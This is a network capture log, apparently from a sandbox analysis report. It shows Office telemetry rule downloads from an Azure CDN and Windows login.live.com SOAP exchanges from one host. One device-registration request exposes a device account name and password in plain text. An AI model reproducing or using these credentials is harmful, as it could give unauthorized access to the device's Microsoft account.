2024-10-29 01:46:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014633Z-16849878b78qg9mlz11wgn0wcc00000005d000000000frtr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014633Z-16849878b7898p5f6vryaqvp5800000006m000000000pbtq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49819	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 01:46:33 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 01:46:34 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 01:45:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: a515dde8-4bf0-4131-af45-2f67248d3ff3 PPServer: PPV: 30 H: SN1PEPF0002F997 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:34 GMT Connection: close Content-Length: 1276
2024-10-29 01:46:34 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49820	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-29 01:46:33 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 66 6f 74 63 61 71 6a 72 73 79 6c 66 70 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 5f 74 72 2d 58 72 6b 2e 60 69 67 43 62 31 69 4f 4e 43 51 45 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02qfotcaqjrsylfp</Membername><Password>_tr-Xrk.`igCb1iONCQE</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-29 01:46:35 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 29 Oct 2024 01:45:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 66e6ca14-ba45-4812-b630-ef1a1916ddd1 PPServer: PPV: 30 H: SN1PEPF0002F10C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:34 GMT Connection: close Content-Length: 17166
2024-10-29 01:46:35 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 32 34 41 42 32 32 41 30 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 31 35 34 33 33 33 39 2d 66 33 64 63 2d 34 34 66 65 2d 62 33 36 61 2d 31 38 35 32 66 37 65 30 64 38 61 34 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001124AB22A0</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="11543339-f3dc-44fe-b36a-1852f7e0d8a4" LicenseID="3252b20c-d425-4711
2024-10-29 01:46:35 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: efaca471-901e-002a-6713-287a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014634Z-17c5cb586f62blg5ss55p9d6fn00000006gg00000000c1hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a5ec28f-701e-0021-10c7-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014634Z-17c5cb586f6hn8cl90dxzu28kw00000005w0000000006run x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014634Z-15b8d89586fpccrmgpemqdqe5800000000qg00000000cq95 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014634Z-15b8d89586fbmg6qpd9yf8zhm000000000wg000000002r33 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014634Z-16849878b78zqkvcwgr6h55x9n000000057000000000nzzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49827	162.159.61.3	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
